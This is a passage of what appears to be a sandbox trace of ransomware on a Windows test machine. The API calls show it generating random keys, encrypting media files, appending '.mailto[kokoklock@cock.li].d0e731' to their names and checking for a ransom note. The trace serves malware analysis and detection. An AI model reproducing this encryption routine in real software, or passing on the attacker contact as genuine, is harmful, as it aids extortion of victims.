hFile=0x584, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x17fff784*=0x8, lpOverlapped=0x0) returned 1 [0172.900] WriteFile (in: hFile=0x584, lpBuffer=0x17fff79c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x17fff79c*, lpNumberOfBytesWritten=0x17fff784*=0x4, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x17fff784*=0x4, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x17fff784*=0x6c, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x584, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x17fff784*=0x20, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x17fff784*=0x4, lpOverlapped=0x0) returned 1 [0172.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.901] CloseHandle (hObject=0x584) returned 1 [0172.901] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x3054a18 [0172.901] wcscpy (in: _Dest=0x3054a18, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" [0172.901] wcscat (in: _Dest=0x3054a18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.901] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.902] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054a18) returned 1 [0172.903] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.903] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013530 [0172.903] wcscpy (in: _Dest=0x3013530, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.903] wcscat (in: _Dest=0x3013530, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.903] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0172.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f912f0) returned 1 [0172.903] RtlExitUserThread (Status=0x1) Thread: id = 2081 os_tid = 0x116c [0172.904] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.905] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.905] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.905] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x1807fba4 | out: lpFileSize=0x1807fba4*=77174) returned 1 [0172.905] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x12d72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.905] ReadFile (in: hFile=0x584, lpBuffer=0x1807fb78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x1807fb78*, lpNumberOfBytesRead=0x1807fb74*=0x4, lpOverlapped=0x0) returned 1 [0172.907] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0172.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.907] NtQuerySystemTime (in: CurrentTime=0x1807fb50 | out: CurrentTime=0x1807fb50*=132121213302170780) returned 0x0 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x97718cd [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xb15ded5a [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x775143f7 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x4504a5ea [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x7a64db81 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x6a884556 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xf6e64d43 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x419c03ef [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x8158b1c5 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x54717a5e [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x4330569 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xb170d7c8 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xc235847a [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x228c1c2a [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xf46b1d17 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x8dbc01b5 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x27dc272c [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x99274d7f [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x6b42fc2f [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x463af599 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x8aa23a80 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x47f6e645 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xaf84fab5 [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xcc44249f [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xde57babb [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x3c3690dc [0172.907] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xcec4845c [0172.908] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xaff17f1f [0172.908] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x423e732 [0172.908] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xa87df8fa [0172.908] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0x93d1339f [0172.908] RtlRandom (in: Seed=0x1807fb5c | out: Seed=0x1807fb5c) returned 0xd0abc25d [0172.917] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.919] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.919] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1807fb28, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1807fb28*=0x4096, lpOverlapped=0x0) returned 1 [0172.920] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.920] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.921] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.921] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1807fb28, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1807fb28*=0x4096, lpOverlapped=0x0) returned 1 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.921] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x12d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.921] WriteFile (in: hFile=0x584, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1807fb60, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x1807fb60*=0x20, lpOverlapped=0x0) returned 1 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.921] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.921] WriteFile (in: hFile=0x584, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x1807fb74*=0x8, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x584, lpBuffer=0x1807fb8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x1807fb8c*, lpNumberOfBytesWritten=0x1807fb74*=0x4, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1807fb74*=0x4, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1807fb74*=0x6c, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x584, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x1807fb74*=0x20, lpOverlapped=0x0) returned 1 [0172.922] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1807fb74, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1807fb74*=0x4, lpOverlapped=0x0) returned 1 [0172.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0172.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.922] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.922] CloseHandle (hObject=0x584) returned 1 [0172.922] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe0) returned 0x2f985d8 [0172.922] wcscpy (in: _Dest=0x2f985d8, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" [0172.922] wcscat (in: _Dest=0x2f985d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.923] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\avpw9i.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.923] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.923] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f985d8) returned 1 [0172.924] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\avpW9i.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.924] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013530 [0172.924] wcscpy (in: _Dest=0x3013530, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.924] wcscat (in: _Dest=0x3013530, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.924] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0172.924] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee048) returned 1 [0172.924] RtlExitUserThread (Status=0x1) Thread: id = 2082 os_tid = 0x1170 [0172.925] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.926] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.926] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\e7Y1DwyF1A.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\e7y1dwyf1a.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.926] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x180ffc14 | out: lpFileSize=0x180ffc14*=9560) returned 1 [0172.926] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.927] ReadFile (in: hFile=0x584, lpBuffer=0x180ffbe8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x180ffbe4, lpOverlapped=0x0 | out: lpBuffer=0x180ffbe8*, lpNumberOfBytesRead=0x180ffbe4*=0x4, lpOverlapped=0x0) returned 1 [0172.928] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0172.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.928] NtQuerySystemTime (in: CurrentTime=0x180ffbc0 | out: CurrentTime=0x180ffbc0*=132121213302483443) returned 0x0 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x4bad5aad [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xfb07b9a9 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xcdab2567 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xf7fd9d4b [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xa8dd41ba [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x1535772c [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xa846b184 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xcaf75970 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x75b8c37 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xc117a236 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xe3a8a965 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x3e8db9d8 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xda04383 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x7977a029 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x9d16a1f1 [0172.928] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x45e2c3bc [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x57184d91 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x7281684a [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x94d6449f [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x520be588 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xcf76d627 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xadd2fca1 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xc2ea0b9e [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x4dc4b497 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x8e9836b7 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xc6c56fcc [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x7e7208d7 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xca6f72eb [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x8d4d7953 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0xa2a36e79 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x8987b7a0 [0172.929] RtlRandom (in: Seed=0x180ffbcc | out: Seed=0x180ffbcc) returned 0x9d1272dd [0172.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.941] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x2558, lpNumberOfBytesRead=0x180ffbc0, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x180ffbc0*=0x2558, lpOverlapped=0x0) returned 1 [0172.941] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x180ffb88 | out: lpNewFilePointer=0x0) returned 1 [0172.942] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x2558, lpNumberOfBytesWritten=0x180ffbbc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x180ffbbc*=0x2558, lpOverlapped=0x0) returned 1 [0172.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0172.942] WriteFile (in: hFile=0x584, lpBuffer=0x2fe41e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x180ffbb8, lpOverlapped=0x0 | out: lpBuffer=0x2fe41e0*, lpNumberOfBytesWritten=0x180ffbb8*=0x20, lpOverlapped=0x0) returned 1 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, 